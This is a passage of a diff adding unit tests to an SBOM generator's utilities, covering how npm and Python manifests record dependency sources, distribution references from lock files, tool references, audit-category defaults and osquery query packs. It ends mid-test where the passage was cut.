|
|
5650
|
+
author: "",
|
|
5651
|
+
license: "MIT",
|
|
5652
|
+
},
|
|
5653
|
+
packageName: "virtual-project",
|
|
5654
|
+
version: "1.0.0",
|
|
5655
|
+
edgesOut: new Map(),
|
|
5656
|
+
fsChildren: new Set(),
|
|
5657
|
+
children: new Map(),
|
|
5658
|
+
};
|
|
5659
|
+
const sourceCases = [
|
|
5660
|
+
["git-plus", "git+https://github.com/acme/git-plus.git", "git"],
|
|
5661
|
+
["git-protocol", "git://github.com/acme/git-protocol.git", "git"],
|
|
5662
|
+
["github-shortcut", "github:acme/github-shortcut", "git"],
|
|
5663
|
+
["gitlab-shortcut", "gitlab:acme/gitlab-shortcut", "git"],
|
|
5664
|
+
["bitbucket-shortcut", "bitbucket:acme/bitbucket-shortcut", "git"],
|
|
5665
|
+
["gist-shortcut", "gist:1234567890abcdef", "git"],
|
|
5666
|
+
["http-archive", "http://example.com/http-archive.tgz", "url"],
|
|
5667
|
+
["https-archive", "https://example.com/https-archive.tgz", "url"],
|
|
5668
|
+
["file-source", "file:../libs/file-source", "path"],
|
|
5669
|
+
["link-source", "link:../libs/link-source", "path"],
|
|
5670
|
+
["workspace-source", "workspace:*", "path"],
|
|
5671
|
+
["relative-source", "./libs/relative-source", "path"],
|
|
5672
|
+
["parent-source", "../libs/parent-source", "path"],
|
|
5673
|
+
["absolute-source", "/opt/libs/absolute-source", "path"],
|
|
5674
|
+
["windows-source", "C:\\libs\\windows-source", "path"],
|
|
5675
|
+
];
|
|
5676
|
+
|
|
5677
|
+
for (const [packageName, spec] of sourceCases) {
|
|
5678
|
+
const childPath = `/virtual/project/node_modules/${packageName}`;
|
|
5679
|
+
const childNode = {
|
|
5680
|
+
path: childPath,
|
|
5681
|
+
package: {
|
|
5682
|
+
author: "",
|
|
5683
|
+
license: "MIT",
|
|
5684
|
+
},
|
|
5685
|
+
packageName,
|
|
5686
|
+
version: "1.0.0",
|
|
5687
|
+
integrity: `sha512-${packageName}`,
|
|
5688
|
+
edgesIn: new Set([
|
|
5689
|
+
{
|
|
5690
|
+
name: packageName,
|
|
5691
|
+
spec,
|
|
5692
|
+
},
|
|
5693
|
+
]),
|
|
5694
|
+
edgesOut: new Map(),
|
|
5695
|
+
fsChildren: new Set(),
|
|
5696
|
+
children: new Map(),
|
|
5697
|
+
};
|
|
5698
|
+
rootNode.children.set(`node_modules/${packageName}`, childNode);
|
|
5699
|
+
rootNode.edgesOut.set(packageName, {
|
|
5700
|
+
name: packageName,
|
|
5701
|
+
spec,
|
|
5702
|
+
to: childNode,
|
|
5703
|
+
});
|
|
5704
|
+
}
|
|
5705
|
+
|
|
5706
|
+
const { parsePkgLock: parsePkgLockWithMockedArborist } = await esmock(
|
|
5707
|
+
"./utils.js",
|
|
5708
|
+
{
|
|
5709
|
+
"../third-party/arborist/lib/index.js": {
|
|
5710
|
+
default: class MockArborist {
|
|
5711
|
+
async loadVirtual() {
|
|
5712
|
+
return rootNode;
|
|
5713
|
+
}
|
|
5714
|
+
},
|
|
5715
|
+
},
|
|
5716
|
+
},
|
|
5717
|
+
);
|
|
5718
|
+
const parsedList = await parsePkgLockWithMockedArborist(
|
|
5719
|
+
"./test/data/package-json/v3/package-lock.json",
|
|
5720
|
+
{},
|
|
5721
|
+
);
|
|
5722
|
+
|
|
5723
|
+
for (const [packageName, spec, expectedType] of sourceCases) {
|
|
5724
|
+
const pkg = parsedList.pkgList.find(
|
|
5725
|
+
(parsedPkg) => parsedPkg.name === packageName,
|
|
5726
|
+
);
|
|
5727
|
+
assert.ok(pkg, `expected ${packageName} to be parsed`);
|
|
5728
|
+
assert.ok(
|
|
5729
|
+
pkg.properties.some(
|
|
5730
|
+
(property) =>
|
|
5731
|
+
property.name === "cdx:npm:manifestSourceType" &&
|
|
5732
|
+
property.value === expectedType,
|
|
5733
|
+
),
|
|
5734
|
+
`expected ${packageName} manifest source type ${expectedType}`,
|
|
5735
|
+
);
|
|
5736
|
+
assert.ok(
|
|
5737
|
+
pkg.properties.some(
|
|
5738
|
+
(property) =>
|
|
5739
|
+
property.name === "cdx:npm:manifestSource" && property.value === spec,
|
|
5740
|
+
),
|
|
5741
|
+
`expected ${packageName} manifest source ${spec}`,
|
|
5742
|
+
);
|
|
5743
|
+
}
|
|
5744
|
+
});
|
|
5745
|
+
|
|
4826
5746
|
it("parsePkgLock theia", async () => {
|
|
4827
5747
|
const parsedList = await parsePkgLock(
|
|
4828
5748
|
"./test/data/package-json/theia/package-lock.json",
|
|
@@ -7465,6 +8385,112 @@ it("parse requirements.txt", async () => {
|
|
|
7465
8385
|
}
|
|
7466
8386
|
});
|
|
7467
8387
|
|
|
8388
|
+
it("parse requirements.txt enriches distribution references when package metadata fetch is enabled", async () => {
|
|
8389
|
+
const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-req-pypi-"));
|
|
8390
|
+
const reqFile = path.join(tempDir, "requirements.txt");
|
|
8391
|
+
const agentGetStub = sinon.stub().resolves({
|
|
8392
|
+
body: {
|
|
8393
|
+
info: {
|
|
8394
|
+
author: "",
|
|
8395
|
+
author_email: "",
|
|
8396
|
+
classifiers: [],
|
|
8397
|
+
license: "",
|
|
8398
|
+
license_expression: "",
|
|
8399
|
+
name: "requests",
|
|
8400
|
+
summary: "HTTP client",
|
|
8401
|
+
version: "2.31.0",
|
|
8402
|
+
},
|
|
8403
|
+
releases: {
|
|
8404
|
+
"2.31.0": [
|
|
8405
|
+
{
|
|
8406
|
+
digests: { sha256: "abc123" },
|
|
8407
|
+
filename: "requests-2.31.0-py3-none-any.whl",
|
|
8408
|
+
packagetype: "bdist_wheel",
|
|
8409
|
+
url: "https://files.pythonhosted.org/packages/example/requests-2.31.0-py3-none-any.whl",
|
|
8410
|
+
},
|
|
8411
|
+
],
|
|
8412
|
+
},
|
|
8413
|
+
},
|
|
8414
|
+
});
|
|
8415
|
+
writeFileSync(reqFile, "requests==2.31.0\n", "utf-8");
|
|
8416
|
+
const { parseReqFile: mockedParseReqFile } = await esmock("./utils.js", {
|
|
8417
|
+
got: {
|
|
8418
|
+
default: {
|
|
8419
|
+
extend: sinon.stub().returns({ get: agentGetStub }),
|
|
8420
|
+
},
|
|
8421
|
+
},
|
|
8422
|
+
});
|
|
8423
|
+
try {
|
|
8424
|
+
const deps = await mockedParseReqFile(reqFile, true);
|
|
8425
|
+
assert.strictEqual(deps.length, 1);
|
|
8426
|
+
assert.ok(
|
|
8427
|
+
deps[0].externalReferences?.some(
|
|
8428
|
+
(reference) =>
|
|
8429
|
+
reference.type === "distribution" && reference.url.endsWith(".whl"),
|
|
8430
|
+
),
|
|
8431
|
+
);
|
|
8432
|
+
} finally {
|
|
8433
|
+
rmSync(tempDir, { recursive: true, force: true });
|
|
8434
|
+
}
|
|
8435
|
+
});
|
|
8436
|
+
|
|
8437
|
+
it("parse requirements.txt captures direct manifest sources", async () => {
|
|
8438
|
+
const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-req-source-"));
|
|
8439
|
+
const reqFile = path.join(tempDir, "requirements.txt");
|
|
8440
|
+
writeFileSync(
|
|
8441
|
+
reqFile,
|
|
8442
|
+
[
|
|
8443
|
+
"requests @ https://example.com/packages/requests-2.31.0.whl # MIT",
|
|
8444
|
+
"-e git+https://github.com/acme/private-lib.git#egg=private-lib",
|
|
8445
|
+
"",
|
|
8446
|
+
].join("\n"),
|
|
8447
|
+
"utf-8",
|
|
8448
|
+
);
|
|
8449
|
+
try {
|
|
8450
|
+
const deps = await parseReqFile(reqFile, false);
|
|
8451
|
+
const requestsPkg = deps.find((pkg) => pkg.name === "requests");
|
|
8452
|
+
assert.ok(requestsPkg);
|
|
8453
|
+
assert.ok(
|
|
8454
|
+
requestsPkg.properties.some(
|
|
8455
|
+
(property) =>
|
|
8456
|
+
property.name === "cdx:pypi:manifestSourceType" &&
|
|
8457
|
+
property.value === "url",
|
|
8458
|
+
),
|
|
8459
|
+
);
|
|
8460
|
+
assert.ok(
|
|
8461
|
+
requestsPkg.properties.some(
|
|
8462
|
+
(property) =>
|
|
8463
|
+
property.name === "cdx:pypi:manifestSource" &&
|
|
8464
|
+
property.value === "https://example.com/packages/requests-2.31.0.whl",
|
|
8465
|
+
),
|
|
8466
|
+
);
|
|
8467
|
+
assert.deepStrictEqual(requestsPkg.licenses, [
|
|
8468
|
+
{
|
|
8469
|
+
license: {
|
|
8470
|
+
id: "MIT",
|
|
8471
|
+
},
|
|
8472
|
+
},
|
|
8473
|
+
]);
|
|
8474
|
+
const privateLibPkg = deps.find((pkg) => pkg.name === "private-lib");
|
|
8475
|
+
assert.ok(privateLibPkg);
|
|
8476
|
+
assert.ok(
|
|
8477
|
+
privateLibPkg.properties.some(
|
|
8478
|
+
(property) =>
|
|
8479
|
+
property.name === "cdx:pypi:manifestSourceType" &&
|
|
8480
|
+
property.value === "git",
|
|
8481
|
+
),
|
|
8482
|
+
);
|
|
8483
|
+
assert.ok(
|
|
8484
|
+
privateLibPkg.properties.some(
|
|
8485
|
+
(property) =>
|
|
8486
|
+
property.name === "cdx:pypi:editable" && property.value === "true",
|
|
8487
|
+
),
|
|
8488
|
+
);
|
|
8489
|
+
} finally {
|
|
8490
|
+
rmSync(tempDir, { recursive: true, force: true });
|
|
8491
|
+
}
|
|
8492
|
+
});
|
|
8493
|
+
|
|
7468
8494
|
it("parse pyproject.toml", () => {
|
|
7469
8495
|
let retMap = parsePyProjectTomlFile("./test/data/pyproject.toml");
|
|
7470
8496
|
assert.deepStrictEqual(retMap.parentComponent, {
|
|
@@ -7669,6 +8695,120 @@ it("parse pyproject.toml with custom poetry source", () => {
|
|
|
7669
8695
|
assert.deepStrictEqual(Object.keys(retMap.directDepsKeys).length, 6);
|
|
7670
8696
|
});
|
|
7671
8697
|
|
|
8698
|
+
it("parse pyproject.toml captures dependency manifest sources", async () => {
|
|
8699
|
+
const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-pyproject-source-"));
|
|
8700
|
+
const pyProjectFile = path.join(tempDir, "pyproject.toml");
|
|
8701
|
+
writeFileSync(
|
|
8702
|
+
pyProjectFile,
|
|
8703
|
+
`
|
|
8704
|
+
[project]
|
|
8705
|
+
name = "demo-app"
|
|
8706
|
+
version = "0.1.0"
|
|
8707
|
+
dependencies = ["anyio[http2] @ https://example.com/packages/anyio.whl"]
|
|
8708
|
+
|
|
8709
|
+
[tool.poetry.dependencies]
|
|
8710
|
+
python = ">=3.11"
|
|
8711
|
+
poetry-git = { git = "https://github.com/acme/poetry-git.git" }
|
|
8712
|
+
|
|
8713
|
+
[tool.uv.sources]
|
|
8714
|
+
uv-path = { path = "../libs/uv-path" }
|
|
8715
|
+
`.trim(),
|
|
8716
|
+
"utf-8",
|
|
8717
|
+
);
|
|
8718
|
+
try {
|
|
8719
|
+
const pyProjectData = parsePyProjectTomlFile(pyProjectFile);
|
|
8720
|
+
assert.deepStrictEqual(pyProjectData.dependencySourceMap.anyio, {
|
|
8721
|
+
type: "url",
|
|
8722
|
+
value: "https://example.com/packages/anyio.whl",
|
|
8723
|
+
});
|
|
8724
|
+
assert.strictEqual(pyProjectData.directDepsKeys.anyio, true);
|
|
8725
|
+
assert.deepStrictEqual(pyProjectData.dependencySourceMap["poetry-git"], {
|
|
8726
|
+
type: "git",
|
|
8727
|
+
value: "https://github.com/acme/poetry-git.git",
|
|
8728
|
+
});
|
|
8729
|
+
assert.deepStrictEqual(pyProjectData.dependencySourceMap["uv-path"], {
|
|
8730
|
+
type: "path",
|
|
8731
|
+
value: "../libs/uv-path",
|
|
8732
|
+
});
|
|
8733
|
+
|
|
8734
|
+
const retMap = await parsePyLockData(
|
|
8735
|
+
readFileSync("./test/data/uv.lock", { encoding: "utf-8" }),
|
|
8736
|
+
"./test/data/uv.lock",
|
|
8737
|
+
pyProjectFile,
|
|
8738
|
+
);
|
|
8739
|
+
const anyioPkg = retMap.pkgList.find((pkg) => pkg.name === "anyio");
|
|
8740
|
+
assert.ok(anyioPkg);
|
|
8741
|
+
assert.ok(
|
|
8742
|
+
anyioPkg.properties.some(
|
|
8743
|
+
(property) =>
|
|
8744
|
+
property.name === "cdx:pypi:manifestSourceType" &&
|
|
8745
|
+
property.value === "url",
|
|
8746
|
+
),
|
|
8747
|
+
);
|
|
8748
|
+
assert.ok(
|
|
8749
|
+
anyioPkg.properties.some(
|
|
8750
|
+
(property) =>
|
|
8751
|
+
property.name === "cdx:pypi:manifestSource" &&
|
|
8752
|
+
property.value === "https://example.com/packages/anyio.whl",
|
|
8753
|
+
),
|
|
8754
|
+
);
|
|
8755
|
+
} finally {
|
|
8756
|
+
rmSync(tempDir, { recursive: true, force: true });
|
|
8757
|
+
}
|
|
8758
|
+
});
|
|
8759
|
+
|
|
8760
|
+
it("normalizes pyproject direct dependency keys when matching pylock packages", async () => {
|
|
8761
|
+
const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-pylock-normalize-"));
|
|
8762
|
+
const pyProjectFile = path.join(tempDir, "pyproject.toml");
|
|
8763
|
+
const pyLockFile = path.join(tempDir, "pylock.toml");
|
|
8764
|
+
writeFileSync(
|
|
8765
|
+
pyProjectFile,
|
|
8766
|
+
`
|
|
8767
|
+
[project]
|
|
8768
|
+
name = "normalize-demo"
|
|
8769
|
+
version = "1.0.0"
|
|
8770
|
+
dependencies = [
|
|
8771
|
+
"demo_pkg @ https://example.com/packages/demo-pkg-1.0.0.whl",
|
|
8772
|
+
]
|
|
8773
|
+
`.trim(),
|
|
8774
|
+
"utf-8",
|
|
8775
|
+
);
|
|
8776
|
+
writeFileSync(
|
|
8777
|
+
pyLockFile,
|
|
8778
|
+
`
|
|
8779
|
+
lock-version = "1.0"
|
|
8780
|
+
created-by = "poku"
|
|
8781
|
+
|
|
8782
|
+
[[packages]]
|
|
8783
|
+
name = "demo-pkg"
|
|
8784
|
+
version = "1.0.0"
|
|
8785
|
+
index = "https://pypi.org/simple/"
|
|
8786
|
+
wheels = [
|
|
8787
|
+
{ name = "demo_pkg-1.0.0-py3-none-any.whl", url = "https://example.com/packages/demo-pkg-1.0.0.whl", size = 1234, upload-time = 2026-01-01T00:00:00+00:00, hashes = { sha256 = "0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef" } },
|
|
8788
|
+
]
|
|
8789
|
+
`.trim(),
|
|
8790
|
+
"utf-8",
|
|
8791
|
+
);
|
|
8792
|
+
try {
|
|
8793
|
+
const retMap = await parsePyLockData(
|
|
8794
|
+
readFileSync(pyLockFile, { encoding: "utf-8" }),
|
|
8795
|
+
pyLockFile,
|
|
8796
|
+
pyProjectFile,
|
|
8797
|
+
);
|
|
8798
|
+
assert.strictEqual(retMap.rootList.length, 1);
|
|
8799
|
+
assert.strictEqual(retMap.rootList[0].name, "demo-pkg");
|
|
8800
|
+
assert.ok(
|
|
8801
|
+
retMap.rootList[0].properties.some(
|
|
8802
|
+
(property) =>
|
|
8803
|
+
property.name === "cdx:pypi:manifestSourceType" &&
|
|
8804
|
+
property.value === "url",
|
|
8805
|
+
),
|
|
8806
|
+
);
|
|
8807
|
+
} finally {
|
|
8808
|
+
rmSync(tempDir, { recursive: true, force: true });
|
|
8809
|
+
}
|
|
8810
|
+
});
|
|
8811
|
+
|
|
7672
8812
|
it("parse python lock files", async () => {
|
|
7673
8813
|
let retMap = await parsePyLockData(
|
|
7674
8814
|
readFileSync("./test/data/poetry.lock", { encoding: "utf-8" }),
|
|
@@ -7693,14 +8833,30 @@ it("parse python lock files", async () => {
|
|
|
7693
8833
|
readFileSync("./test/data/pdm.lock", { encoding: "utf-8" }),
|
|
7694
8834
|
"./test/data/pdm.lock",
|
|
7695
8835
|
);
|
|
7696
|
-
assert.deepStrictEqual(retMap.pkgList.length, 39);
|
|
7697
|
-
assert.deepStrictEqual(retMap.dependenciesList.length, 37);
|
|
8836
|
+
assert.deepStrictEqual(retMap.pkgList.length, 39);
|
|
8837
|
+
assert.deepStrictEqual(retMap.dependenciesList.length, 37);
|
|
8838
|
+
const pdmBlinkerPkg = retMap.pkgList.find((p) => p.name === "blinker");
|
|
8839
|
+
assert.ok(
|
|
8840
|
+
pdmBlinkerPkg.externalReferences?.some(
|
|
8841
|
+
(reference) =>
|
|
8842
|
+
reference.type === "distribution" && reference.url.endsWith(".whl"),
|
|
8843
|
+
),
|
|
8844
|
+
"Expected pdm.lock metadata files to populate distribution externalReferences",
|
|
8845
|
+
);
|
|
7698
8846
|
retMap = await parsePyLockData(
|
|
7699
8847
|
readFileSync("./test/data/uv.lock", { encoding: "utf-8" }),
|
|
7700
8848
|
"./test/data/uv.lock",
|
|
7701
8849
|
);
|
|
7702
8850
|
assert.deepStrictEqual(retMap.pkgList.length, 63);
|
|
7703
8851
|
assert.deepStrictEqual(retMap.dependenciesList.length, 63);
|
|
8852
|
+
const uvAnyioPkg = retMap.pkgList.find((p) => p.name === "anyio");
|
|
8853
|
+
assert.ok(
|
|
8854
|
+
uvAnyioPkg.externalReferences?.some(
|
|
8855
|
+
(reference) =>
|
|
8856
|
+
reference.type === "distribution" && reference.url.endsWith(".whl"),
|
|
8857
|
+
),
|
|
8858
|
+
"Expected uv.lock packages to populate distribution externalReferences",
|
|
8859
|
+
);
|
|
7704
8860
|
retMap = await parsePyLockData(
|
|
7705
8861
|
readFileSync("./test/data/uv-workspace.lock", { encoding: "utf-8" }),
|
|
7706
8862
|
"./test/data/uv-workspace.lock",
|
|
@@ -7727,6 +8883,13 @@ it("parse python lock files", async () => {
|
|
|
7727
8883
|
attrsPkg.components?.length,
|
|
7728
8884
|
"Expected pylock wheel entry to produce file component",
|
|
7729
8885
|
);
|
|
8886
|
+
assert.ok(
|
|
8887
|
+
attrsPkg.externalReferences?.some(
|
|
8888
|
+
(reference) =>
|
|
8889
|
+
reference.type === "distribution" && reference.url.endsWith(".whl"),
|
|
8890
|
+
),
|
|
8891
|
+
"Expected pylock package to retain distribution externalReferences",
|
|
8892
|
+
);
|
|
7730
8893
|
const cattrsPkg = retMap.pkgList.find((p) => p.name === "cattrs");
|
|
7731
8894
|
assert.ok(
|
|
7732
8895
|
cattrsPkg.properties.some(
|
|
@@ -8881,6 +10044,80 @@ it("parsePackageJsonName tests", () => {
|
|
|
8881
10044
|
});
|
|
8882
10045
|
});
|
|
8883
10046
|
|
|
10047
|
+
it("extractToolRefs collects unique bom-refs from metadata.tools", () => {
|
|
10048
|
+
assert.deepStrictEqual(
|
|
10049
|
+
extractToolRefs(
|
|
10050
|
+
{
|
|
10051
|
+
components: [
|
|
10052
|
+
{ name: "trivy", "bom-ref": "pkg:generic/trivy@0.1.0" },
|
|
10053
|
+
{ name: "trivy", "bom-ref": "pkg:generic/trivy@0.1.0" },
|
|
10054
|
+
{ name: "cdxgen" },
|
|
10055
|
+
],
|
|
10056
|
+
services: [{ name: "blint", "bom-ref": "urn:tool:blint" }],
|
|
10057
|
+
},
|
|
10058
|
+
(tool) => tool.name !== "cdxgen",
|
|
10059
|
+
),
|
|
10060
|
+
["pkg:generic/trivy@0.1.0", "urn:tool:blint"],
|
|
10061
|
+
);
|
|
10062
|
+
});
|
|
10063
|
+
|
|
10064
|
+
it("extractToolRefs derives and persists bom-refs for external tools", () => {
|
|
10065
|
+
const tools = {
|
|
10066
|
+
components: [
|
|
10067
|
+
{
|
|
10068
|
+
group: "aquasecurity",
|
|
10069
|
+
name: "trivy",
|
|
10070
|
+
version: "dev",
|
|
10071
|
+
},
|
|
10072
|
+
],
|
|
10073
|
+
};
|
|
10074
|
+
assert.deepStrictEqual(extractToolRefs(tools), [
|
|
10075
|
+
"pkg:generic/aquasecurity/trivy@dev",
|
|
10076
|
+
]);
|
|
10077
|
+
assert.strictEqual(
|
|
10078
|
+
tools.components[0]["bom-ref"],
|
|
10079
|
+
"pkg:generic/aquasecurity/trivy@dev",
|
|
10080
|
+
);
|
|
10081
|
+
});
|
|
10082
|
+
|
|
10083
|
+
it("attachIdentityTools adds tool references to object and array identities", () => {
|
|
10084
|
+
const subjects = [
|
|
10085
|
+
{
|
|
10086
|
+
evidence: {
|
|
10087
|
+
identity: {
|
|
10088
|
+
field: "purl",
|
|
10089
|
+
tools: ["pkg:generic/existing-tool@1.0.0"],
|
|
10090
|
+
},
|
|
10091
|
+
},
|
|
10092
|
+
},
|
|
10093
|
+
{
|
|
10094
|
+
evidence: {
|
|
10095
|
+
identity: [
|
|
10096
|
+
{ field: "purl" },
|
|
10097
|
+
{ field: "hash", tools: ["urn:tool:hash"] },
|
|
10098
|
+
],
|
|
10099
|
+
},
|
|
10100
|
+
},
|
|
10101
|
+
];
|
|
10102
|
+
attachIdentityTools(subjects, [
|
|
10103
|
+
"pkg:generic/existing-tool@1.0.0",
|
|
10104
|
+
"pkg:generic/trivy@0.1.0",
|
|
10105
|
+
]);
|
|
10106
|
+
assert.deepStrictEqual(subjects[0].evidence.identity.tools, [
|
|
10107
|
+
"pkg:generic/existing-tool@1.0.0",
|
|
10108
|
+
"pkg:generic/trivy@0.1.0",
|
|
10109
|
+
]);
|
|
10110
|
+
assert.deepStrictEqual(subjects[1].evidence.identity[0].tools, [
|
|
10111
|
+
"pkg:generic/existing-tool@1.0.0",
|
|
10112
|
+
"pkg:generic/trivy@0.1.0",
|
|
10113
|
+
]);
|
|
10114
|
+
assert.deepStrictEqual(subjects[1].evidence.identity[1].tools, [
|
|
10115
|
+
"urn:tool:hash",
|
|
10116
|
+
"pkg:generic/existing-tool@1.0.0",
|
|
10117
|
+
"pkg:generic/trivy@0.1.0",
|
|
10118
|
+
]);
|
|
10119
|
+
});
|
|
10120
|
+
|
|
8884
10121
|
it("parseDot tests", () => {
|
|
8885
10122
|
const retMap = parseCmakeDotFile("./test/data/tslite.dot", "conan");
|
|
8886
10123
|
assert.deepStrictEqual(retMap.parentComponent, {
|
|
@@ -9055,6 +10292,20 @@ it("hasAnyProjectType tests", () => {
|
|
|
9055
10292
|
}),
|
|
9056
10293
|
true,
|
|
9057
10294
|
);
|
|
10295
|
+
assert.deepStrictEqual(
|
|
10296
|
+
hasAnyProjectType(["oci"], {
|
|
10297
|
+
projectType: ["rootfs"],
|
|
10298
|
+
excludeType: undefined,
|
|
10299
|
+
}),
|
|
10300
|
+
true,
|
|
10301
|
+
);
|
|
10302
|
+
assert.deepStrictEqual(
|
|
10303
|
+
hasAnyProjectType(["docker"], {
|
|
10304
|
+
projectType: ["rootfs"],
|
|
10305
|
+
excludeType: undefined,
|
|
10306
|
+
}),
|
|
10307
|
+
true,
|
|
10308
|
+
);
|
|
9058
10309
|
|
|
9059
10310
|
assert.deepStrictEqual(
|
|
9060
10311
|
hasAnyProjectType(["js"], {
|
|
@@ -9236,6 +10487,85 @@ it("hasAnyProjectType tests", () => {
|
|
|
9236
10487
|
);
|
|
9237
10488
|
});
|
|
9238
10489
|
|
|
10490
|
+
it("shouldRunPredictiveBomAudit tests", () => {
|
|
10491
|
+
assert.strictEqual(shouldRunPredictiveBomAudit({}, "cdxgen"), true);
|
|
10492
|
+
assert.strictEqual(
|
|
10493
|
+
shouldRunPredictiveBomAudit({ projectType: ["os"] }, "cdxgen"),
|
|
10494
|
+
false,
|
|
10495
|
+
);
|
|
10496
|
+
assert.strictEqual(
|
|
10497
|
+
shouldRunPredictiveBomAudit({ projectType: ["linux"] }, "cdxgen"),
|
|
10498
|
+
false,
|
|
10499
|
+
);
|
|
10500
|
+
assert.strictEqual(
|
|
10501
|
+
shouldRunPredictiveBomAudit({ projectType: ["os", "darwin"] }, "cdxgen"),
|
|
10502
|
+
false,
|
|
10503
|
+
);
|
|
10504
|
+
assert.strictEqual(
|
|
10505
|
+
shouldRunPredictiveBomAudit({ projectType: ["os", "js"] }, "cdxgen"),
|
|
10506
|
+
true,
|
|
10507
|
+
);
|
|
10508
|
+
assert.strictEqual(
|
|
10509
|
+
shouldRunPredictiveBomAudit({ projectType: "os,linux" }, "cdxgen"),
|
|
10510
|
+
false,
|
|
10511
|
+
);
|
|
10512
|
+
assert.strictEqual(
|
|
10513
|
+
shouldRunPredictiveBomAudit({ projectType: ["hbom"] }, "cdxgen"),
|
|
10514
|
+
false,
|
|
10515
|
+
);
|
|
10516
|
+
assert.strictEqual(
|
|
10517
|
+
shouldRunPredictiveBomAudit({ projectType: ["hardware"] }, "cdxgen"),
|
|
10518
|
+
false,
|
|
10519
|
+
);
|
|
10520
|
+
assert.strictEqual(
|
|
10521
|
+
shouldRunPredictiveBomAudit({ projectType: ["js"] }, "obom"),
|
|
10522
|
+
false,
|
|
10523
|
+
);
|
|
10524
|
+
assert.strictEqual(
|
|
10525
|
+
shouldRunPredictiveBomAudit({ projectType: ["js"] }, "hbom"),
|
|
10526
|
+
false,
|
|
10527
|
+
);
|
|
10528
|
+
});
|
|
10529
|
+
|
|
10530
|
+
it("getDefaultBomAuditCategories tests", () => {
|
|
10531
|
+
assert.strictEqual(getDefaultBomAuditCategories({}, "cdxgen"), undefined);
|
|
10532
|
+
assert.strictEqual(
|
|
10533
|
+
getDefaultBomAuditCategories({ projectType: ["os"] }, "cdxgen"),
|
|
10534
|
+
"obom-runtime",
|
|
10535
|
+
);
|
|
10536
|
+
assert.strictEqual(
|
|
10537
|
+
getDefaultBomAuditCategories({ projectType: ["linux"] }, "cdxgen"),
|
|
10538
|
+
"obom-runtime",
|
|
10539
|
+
);
|
|
10540
|
+
assert.strictEqual(
|
|
10541
|
+
getDefaultBomAuditCategories({ projectType: ["os", "js"] }, "cdxgen"),
|
|
10542
|
+
undefined,
|
|
10543
|
+
);
|
|
10544
|
+
assert.strictEqual(
|
|
10545
|
+
getDefaultBomAuditCategories({ projectType: ["hbom"] }, "cdxgen"),
|
|
10546
|
+
"hbom-security,hbom-performance,hbom-compliance",
|
|
10547
|
+
);
|
|
10548
|
+
assert.strictEqual(
|
|
10549
|
+
getDefaultBomAuditCategories({ projectType: ["hardware"] }, "cdxgen"),
|
|
10550
|
+
"hbom-security,hbom-performance,hbom-compliance",
|
|
10551
|
+
);
|
|
10552
|
+
assert.strictEqual(
|
|
10553
|
+
getDefaultBomAuditCategories(
|
|
10554
|
+
{ includeRuntime: true, projectType: ["hbom"] },
|
|
10555
|
+
"cdxgen",
|
|
10556
|
+
),
|
|
10557
|
+
"hbom-security,hbom-performance,hbom-compliance,host-topology",
|
|
10558
|
+
);
|
|
10559
|
+
assert.strictEqual(
|
|
10560
|
+
getDefaultBomAuditCategories({ projectType: ["js"] }, "obom"),
|
|
10561
|
+
"obom-runtime",
|
|
10562
|
+
);
|
|
10563
|
+
assert.strictEqual(
|
|
10564
|
+
getDefaultBomAuditCategories({ projectType: ["js"] }, "hbom"),
|
|
10565
|
+
"hbom-security,hbom-performance,hbom-compliance",
|
|
10566
|
+
);
|
|
10567
|
+
});
|
|
10568
|
+
|
|
9239
10569
|
it("isPackageManagerAllowed tests", () => {
|
|
9240
10570
|
assert.deepStrictEqual(
|
|
9241
10571
|
isPackageManagerAllowed("uv", ["pip", "poetry", "hatch", "pdm"], {
|
|
@@ -9798,6 +11128,152 @@ it("parses valid minified js with real package name (#2717)", async () => {
|
|
|
9798
11128
|
});
|
|
9799
11129
|
|
|
9800
11130
|
describe("convertOSQueryResults", () => {
|
|
11131
|
+
it("includes the osquery 5.23.0 query pack additions across platform profiles", () => {
|
|
11132
|
+
const linuxQueries = JSON.parse(
|
|
11133
|
+
readFileSync(
|
|
11134
|
+
new URL("../../data/queries.json", import.meta.url),
|
|
11135
|
+
"utf-8",
|
|
11136
|
+
),
|
|
11137
|
+
);
|
|
11138
|
+
const darwinQueries = JSON.parse(
|
|
11139
|
+
readFileSync(
|
|
11140
|
+
new URL("../../data/queries-darwin.json", import.meta.url),
|
|
11141
|
+
"utf-8",
|
|
11142
|
+
),
|
|
11143
|
+
);
|
|
11144
|
+
const windowsQueries = JSON.parse(
|
|
11145
|
+
readFileSync(
|
|
11146
|
+
new URL("../../data/queries-win.json", import.meta.url),
|
|
11147
|
+
"utf-8",
|
|
11148
|
+
),
|
|
11149
|
+
);
|
|
11150
|
+
|
|
11151
|
+
assert.ok(linuxQueries.npm_packages);
|
|
11152
|
+
assert.ok(linuxQueries.secureboot_certificates);
|
|
11153
|
+
assert.ok(linuxQueries.apt_ppa_sources);
|
|
11154
|
+
assert.ok(linuxQueries.sysctl_hardening);
|
|
11155
|
+
assert.ok(linuxQueries.mount_hardening);
|
|
11156
|
+
assert.ok(linuxQueries.trusted_gpg_keys);
|
|
11157
|
+
assert.ok(darwinQueries.gatekeeper);
|
|
11158
|
+
assert.ok(darwinQueries.npm_packages);
|
|
11159
|
+
assert.match(
|
|
11160
|
+
darwinQueries.package_bom.query,
|
|
11161
|
+
/WHERE path IN \(SELECT REPLACE\(package_receipts\.path, '.plist', '.bom'\) FROM package_receipts JOIN file ON file\.path = REPLACE\(package_receipts\.path, '.plist', '.bom'\) WHERE package_receipts\.path LIKE '%.plist' AND file\.size <= 52428800\)/i,
|
|
11162
|
+
);
|
|
11163
|
+
assert.match(linuxQueries.trusted_gpg_keys.query, /file\.directory/);
|
|
11164
|
+
assert.match(linuxQueries.trusted_gpg_keys.query, /hash\.sha256/);
|
|
11165
|
+
assert.ok(windowsQueries.process_open_handles_snapshot);
|
|
11166
|
+
});
|
|
11167
|
+
|
|
11168
|
+
it("should model trusted linux repository keys as cryptographic assets", () => {
|
|
11169
|
+
const components = convertOSQueryResults(
|
|
11170
|
+
"trusted_gpg_keys",
|
|
11171
|
+
{
|
|
11172
|
+
purlType: "generic",
|
|
11173
|
+
componentType: "cryptographic-asset",
|
|
11174
|
+
},
|
|
11175
|
+
[
|
|
11176
|
+
{
|
|
11177
|
+
name: "debian-archive-keyring.gpg",
|
|
11178
|
+
version: "c".repeat(64),
|
|
11179
|
+
